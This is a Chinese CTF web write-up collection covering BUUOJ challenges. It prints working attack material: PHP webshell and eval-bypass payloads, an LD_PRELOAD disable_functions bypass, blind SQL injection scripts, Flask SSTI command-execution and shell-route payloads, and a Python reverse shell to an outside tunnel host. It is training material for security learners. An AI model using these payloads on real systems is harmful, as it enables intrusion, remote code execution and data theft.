抓包改xff

里面有一段js代码

image-20210916133335204

post一个merak值,得到一段代码

image-20210916133404217

代码审计

要求get进一个值且存在一个文件名为这个值的文件,内容为todat is a happy day

可以用data://text/plain,绕过

也可以用data://text/plain;base64,

然后存在一个file_get_contents读取传入的file

要让这个值经过change函数后为flag.php

image-20210916133828755

image-20210916133839192

传进去,拿flag

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

有eval函数,要试图命令执行,然后preg_match过滤了字母和数字,这里可以利用异或或者是url编码取反来绕过

取反

image-20210918182257977

成功执行

image-20210918182348259

这里可以看到禁用的函数

image-20210918182433498

或者利用异或

code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

image-20210918183044112

一样可以进入phpinfo页面

查看到禁用的函数后可以尝试利用取反或者异或写入一句话木马

//抄的payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);  //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

image-20210918183814123

然后蚁剑链接,要执行读取flag的readflag二进制文件才能得到flag

image-20210918184148817

但是

disable_functions禁用的函数太多导致shell不能执行命令

image-20210918184324855

这里可以用蚁剑的插件

image-20210918184419549

还有一种方法

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403

无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

EXP地址

image-20210918194317240

我看不懂,但我大受震撼

上传bypass.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);  //加载恶意动态库
    mail("", "", "", "");  //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

image-20210918193756871

最终payload

http://68a9a191-87dd-4067-ac30-321118de4427.node4.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20210918193729344

参考链接

bypass_disable_functions | 0xCreed (jxustctf.top)

[BUUOJ记录] [极客大挑战 2019]RCE ME - Ye'sBlog - 博客园 (cnblogs.com)

极客大挑战 2019]RCE ME_末初 · mochu7-CSDN博客

极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)_WHOAMIAnony的博客-CSDN博客_异或绕过

[BSidesCF 2019]Kookie

image-20210918223822994

不知道密码,sql注入也不成功

直接把cookie改成username=cookie就行了,不清楚这题在考啥。。。

image-20210918223845191

[WUSTCTF2020]颜值成绩查询

布尔盲注,过滤了空格

(ascii(substr(database(),{},1))={})".format(i,j)

image-20210918235150704

(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})

image-20210918234900927

(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))={})

image-20210918235644493

(ascii(substr((select(group_concat(value))from(flag))

脚本:

import requests
url = "http://ff19146a-59b8-4bd0-8ded-5bf195180739.node4.buuoj.cn:81/?stunum=0^"
data = ''
k = 0
for i in range(13,50):
    k = 0
    for j in range(43,127):
        gets = "(ascii(substr((select(group_concat(value))from(flag)),{},1))={})".format(i,j)
        res = requests.get(url+gets)
        if "your score is: 100" in res.text:
            data += chr(j)
            print(data)
            k = 1
            break
    if(k == 0):
        print("err!")
        exit()
    

因为网络问题加了判断,结果就是跑一会就停了,只能一段一段的跑了

一定是buu flag太长了(

算是第一次自己写脚本了

遍历属实跑的太慢了,抽空学一下二分法的写法

image-20210919002507491

flag{d8fd8842-58bd-4a88-bf0c-8e73811797a4}

[GWCTF 2019]枯燥的抽奖

image-20210921134432965

涉及了php的伪随机

如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的

查看源码找到check.php

pbEzqyRCJP

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

知道前几位了

根据生成算法逆向出满足php_mt_seed工具要求的参数(百度抄的

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='pbEzqyRCJP'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)
#15 15 0 61 1 1 0 61 40 40 0 61 25 25 0 61 16 16 0 61 24 24 0 61 53 53 0 61 38 38 0 61 45 45 0 61 51 51 0 61 

放到php_mt_seed里跑种子

image-20210921134854213

再利用这个脚本得到最后的值

<?php
mt_srand(499600072);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

image-20210921134936468

吐槽一下,工业互联网的时候看见一个类似的题,照着这个题的wp没跑出来,今天才知道是php_mt_seed的问题,虽然感觉很离谱

官网下的爆不出seed,从这里下的可以Index of /pub/projects/php_mt_seed (openwall.net)

还有就是一样的种子在php版本不一样的时候出来的值也不一样

image-20210921135243406

[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

这里我本来以为是php伪随机数的漏洞,结果最后查了一下发现是basename函数的漏洞

它会忽略后面的[\x80-\xff]范围内的字符串,即非ascii字符。例子如下:

php -r 'print(basename("index.php/config.php/\x80"));' // config.php
php -r 'print(basename("\x80index.php/config.php"));' // config.php

$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php/\x80?source来读取flag。

image-20211021163516849

[CISCN2019 总决赛 Day2 Web1]Easyweb

源码泄露

image-20211021165221385

下载image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

GET方式传入变量id的值,若没有则为1
GET方式传入变量path的值,若没有则为空
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,单引号(')、双引号(")、反斜杠(\)
str_replace()函数将两个变量内的\0、%00、'、'都替换为空
将变量$id与$path拼接进SQL语句
脚本:

import requests

url = "http://f99fde09-be38-4b5a-bea6-2362fb4115e4.node4.buuoj.cn:81/image.php?id=\\0'&path="

payload1 = r"or ascii(substr(database(),{},1))>{} --+"

payload2 = r"or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),{},1)) > {} --+"

payload3 = r"or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),{},1)) > {} --+"

payload4 = r"or ascii(substr((select password from users),{},1)) > {} --+"

database = ""
for i in range(1,1000):
	low = 32
	high = 128
	mid = (low + high) // 2
	while(low < high):
		payload = payload4.format(i,mid)
		new_url = url + payload
		r = requests.get(new_url)
		if "JFIF" in r.text:
			low = mid + 1
		else:
			high = mid
		mid = (low + high) // 2
	if (mid == 32 or mid == 128):
		break
	database += chr(mid)
	print(database)

得到密码和用户名登录

image-20211021180732197

登录后是个文件上传的页面

image-20211021180749445

这里要用文件名传一句话木马

image-20211021184513558

在上传后的目录可以看到上传的文件名但是不能访问上传文件的内容

image-20211021184345858

不能用php就用短标签代替

image-20211021184319466

image-20211021184415617

[CSCCTF 2019 Qual]FlaskLight

一眼ssti,然后就不会了(

f12看到源码注释,get方式,参数为search

试一下传{{7*7}}确定是ssti

config 也是 Flask模版中的一个全局对象,它包含了所有应用程序的配置值。
{{ config.items() }}    // 查看配置项目的信息  

{{(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24]}}

例一:
warnings.catch_warnings类

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

PS:由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]

最后获取flag

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

例二:

class’site._Printer’类

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

获取flag

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

例三:
popen

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek')}}

[HITCON 2017]SSRFme

进去后是php代码

直接抄的其他师傅的注释

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。 
    @mkdir($sandbox);
    @chdir($sandbox);     // 改变当前的目录到$sandbox

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));     // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
    $info = pathinfo($_GET["filename"]);  // pathinfo() 函数以数组的形式返回文件路径的信息。
    $dir  = str_replace(".", "", basename($info["dirname"]));   // basename() 函数返回路径中的文件名部分。
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
    // 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。

简单来说就是利用传参中的url执行命令,然后将结果保存在filename中

有几个地方不太懂

​ 1.百度的wp都说这里利用的perl脚本里的open漏洞

利用GET中的open函数漏洞。
open函数在GET命令被调用时执行,也就是第五行执行GET命令时,perl语言会调用open命令,漏洞就存在于open命令对于文件的处理上,关于这个漏洞,外国人有文章,是这样写的:Perl saw that your “file” ended with a “pipe” (vertical
bar) character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”'s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.
翻译过来意思是
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

​ 2.这里执行url传入的命令的前提是要求有个以该命令命名的文件

?url=/&filename=1.txt 看一下根目录

image-20211103205139421

有两个和flag有关的文件,试flag无果,只能试试readflag

?url=&filename=bash -c /readflag|

先创建一个bash -c /readflag|的文件

?url=file:bash -c /readflag|&filename=bash -c /readflag|

利用url执行命令

/sandbox/md5值/bash -c /readflag|

image-20211103205748482

[FBCTF2019]RCEService

image-20211115002530209

json格式

image-20211115002559767

cmd

可以猜到执行命令格式是

{"cmd":"ls"}

image-20211115002808993

还可以直接get参数进去

但是cat参数没法直接用,还有过滤,不过可以用换行符绕过过滤

<?php

putenv('PATH=/home/rceservice/jail');
设置了环境变量的PATH,导致不能使用相对路径,只能用绝对路径:
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
} else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
        system($cmd);
    } else {
        echo 'Invalid input';
    }
    echo '<br/><br/>';
}
}
?>

cat命令不能直接用,原因可能是当前的PATH下没有cat,这里需要也需要用绝对路径:

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

cat 读出源码(我也很想知道网上的wp没源码之前怎么想到这么绕过的

image-20211115003758590

然后找flag在的目录

image-20211115003933107

image-20211115004010321

找到之后利用cat读出来

image-20211115004044237

[HFCTF2020]EasyLogin

注册个账号,登录,看到有个getflag但是提示权限不够

查看源码发现全是js的

image-20211122204752692

看一下app.js

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

提示是基于Node.js的koa框架,但是这个页面的代码并不是逻辑代码,用处不大。
在注释里提示静态文件处理出现问题,那么可能会出现任意文件读取漏洞

这里需要对koa框架的目录有一定的了解

image-20211122205026873

img

访问一下controllers路径下的api.js

额,这里赵总说是经验。。。

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

赵总wp里的审计:

注册 /api/register,接受传入的 username 和 password,先判断 username 不为 admin,然后生成一个 key 来以这些信息为依据,生成一个 jwt 令牌,key 同时存入全局数组。

img

登录 /api/login,接受传入的 username 和 password,然后从令牌的信息段中取 key 的 id,从程序中的全局数组取出 key,然后进行验证,验证通过之后置 session 中的 username 为登录时使用的 username。

img

获取FLAG /api/flag,判断 session 中的用户名是否为 admin,是的话就直接给 flag。

img

可以看到信息是用 jwt 令牌储存的,使用 jsonwebtoken 库来操作,这里用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。

在登录界面抓包后边这串就是jwt(当时忘了截图,这是改完jwt之后的了

image-20211122210021834

之后在JSON Web Tokens - jwt.io里解码

image-20211122210147429

接下来也是赵总的分析:

回到源程序逻辑中,若想让这里的密钥 key为空,就需要修改上面的 secretid。那么就尝试修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。

img

注意,这里还有一个验证,要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。乍看之下没有操作空间,怎么整都会取出 密钥 key。但别忘了 JavaScript 是一门弱类型语言,NodeJS 都是 JS 的语法,那自然也是咯。所以我们只要选择恰当的数据来绕过这个判断即可。可以做一个小实验来验证我们的想法。

img一个小实验,空数组与数字比较永远为真,当然用空字符串之类的也可以

最后利用python的PyJWT库来加密

image-20211122210434868

抓包再放包就可以读取这个flag

image-20211122210523101

虎符 CTF Web 部分 Writeup – glzjin (zhaoj.in)

[b01lers2020]Welcome to Earth

抓包之后一直往下走

image-20211123211557104

image-20211123211609605

image-20211123211625629

源码里找不到就去看js

image-20211123211646833

最后可以找到一个

image-20211123211708969

随机排列组合得到flag

from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)#对flag全排列,返回的是iterators(迭代器)
for i in item:
	k = ''.join(i)#join连接成为字符串
	if k[-1] =='}' and k[0:13] == 'pctf{hey_boys'://这里还可以用python的startswich方法判断是否是pctf{hey开头
													//if k.startswith('pctf{hey_boys') and k[-1] =='}':
		print(k)

image-20211123211727781

抓session,base64解码把金额改成100,放包

[网鼎杯 2020 白虎组]PicDown

image-20211124200900405

源码没东西,只有个url的get参数,还以为是ssrf之类的,搜了下wp,这里可能是因为环境原因,有个非预期解

非预期解:

有文件读取,直接url=/flag就能下载一个beautiful.jpg,改成txt就能看见flag

image-20211124201030250

预期解:

/proc/self/目录的意义

我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

image-20211124202121899

读一下app.py

url=app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

可以看到no_one_know_the_manager中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了

但是这个文件是用open打开的,会创建文件描述符。

我们读这个文件描述符中的内容就好了此处可以通过/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接

image-20211124203011498

拿到key的内容,要url编码,但是shell执行的命令不会返回,这里使用反弹shell的方式,在根目录下读取flag

image-20211124203433334


nmd弹了几个小时终于弹tan出来了

img

没公网ip,搞了个端口映射后的公网

(23条消息) 端口映射后的公网反弹shell_来到了学渣的博客-CSDN博客

https://natapp.cn/register

image-20211125001711038

image-20211125001738005

把本地的8082端口映射到公网

把这个payload当shell参数的值打进去

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('server.natappfree.cc',xxxxx));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

然后在Ubuntu里监听8082端口,从根目录里找到flag

img

image-20211125002051230

泪目

[HarekazeCTF2019]encode_and_encode

image-20211129200049514

source

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input'); #body获取post数据
$json = json_decode($body, true); #对body变量进行json解码

if (is_valid($body) && isset($json) && isset($json['page'])) {#判断body变量是否有效,json数据要有page
  $page = $json['page'];
  $content = file_get_contents($page); #从page中读出文件名,并读取文件
  if (!$content || !is_valid($content)) {#检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相关的ctf字样,则用censored替代
echo json_encode(['content' => $content]);#最后将json编码后的content输出

这里可以利用json_decode会将\uxxx进行转义的特性,这样就可以绕过is_valid的检测

image-20211129200455993

image-20211129200943757

[WUSTCTF2020]CV Maker

进去后是个看起来很高端的界面,但是注册然后登录后有个明显 的上传位置

image-20211129203949145

通过更改头像传个马上去,蚁剑连接就行

这里前端有个判断图片类型的地方,所以先传个jpg再bp抓包改成php就行

image-20211129204113745

image-20211129203758946

[RootersCTF2019]I_<3_Flask

ssti注入,用使用工具Arjun进行参数爆破

然后找到name参数后,拿出珍藏的写入shell的payload

ctf中flask_ssti的各种绕过技巧 - 先知社区 (aliyun.com)

{% if 1==lipsum['__globals__']['__builtins__']['exec']('\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x0a\x0a\x40\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x2e\x72\x6f\x75\x74\x65\x28\x27\x2f\x73\x68\x65\x6c\x6c\x27\x2c\x6d\x65\x74\x68\x6f\x64\x73\x3d\x5b\x27\x47\x45\x54\x27\x2c\x27\x50\x4f\x53\x54\x27\x5d\x29\x0a\x64\x65\x66\x20\x73\x68\x65\x6c\x6c\x28\x29\x3a\x0a\x20\x20\x20\x20\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x0a\x20\x20\x20\x20\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x0a\x20\x20\x20\x20\x63\x6d\x64\x3d\x72\x65\x71\x75\x65\x73\x74\x2e\x61\x72\x67\x73\x2e\x67\x65\x74\x28\x27\x63\x6d\x64\x27\x29\x0a\x20\x20\x20\x20\x72\x74\x3d\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x28\x63\x6d\x64\x29\x2e\x72\x65\x61\x64\x28\x29\x0a\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x72\x74') %}{% endif%}
其中的16进制编码了原始代码

from flask import current_app

@current_app.route('/shell',methods=['GET','POST'])
def shell():
    import os
    from flask import request
    cmd=request.args.get('cmd')
    rt=os.popen(cmd).read()
    return rt

写入

image-20211130213039549

然后直接写入命令

image-20211130213128899

可能会出现not found的报错,多试几次

image-20211130213228889

[CISCN2019 华东南赛区]Double Secret

image-20211202215102048

有/secret目录,扫一下或者猜出来

image-20211202215126891

arjun扫一下是否有传参

image-20211202215226926

image-20211202215244403

当数过大时就会进入debug界面,这时候基本就确定这是ssti注入了,可以看看源码

image-20211202215324285

image-20211202215336677

采用RC4加密的方式,这是一种对称加密,对密文再次加密就会变成明文,密钥是HereIsTreasure,知道这个后,利用cyberchef,对要输入的语句进行加密,再将密文传参进去

image-20211202215541398

image-20211202215555418

能找到根目录下的flag.txt

cat读取

image-20211202215700231

image-20211202215712160

这里应该是取巧了,buu的flag里不包含ciscn,所以这个过滤就没用了

image-20211202215826313

从一道ctf题谈谈flask开启debug模式存在的安全问题_pin (sohu.com)

[红明谷CTF 2021]write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

过滤;可以利用短标签,过滤eval可以采用反引号,过滤空格可以用\t

PHP中有两种短标签,<??>和<?=?>。其中,<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。
?action=upload&data=<?=`ls\t/`?>

image-20211206210913770

?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
或者
?action=upload&data=<?=`cat\t/f*`?>
*为通配符

image-20211206211136986

[GYCTF2020]EasyThinking

题目时thinkphp6版本的漏洞

ThinkPHP6 任意文件操作漏洞分析 - 链滴 (ld246.com)

只需要构造 PHPSESSID 的值即可,值为 string&&长度为 32

tp.png

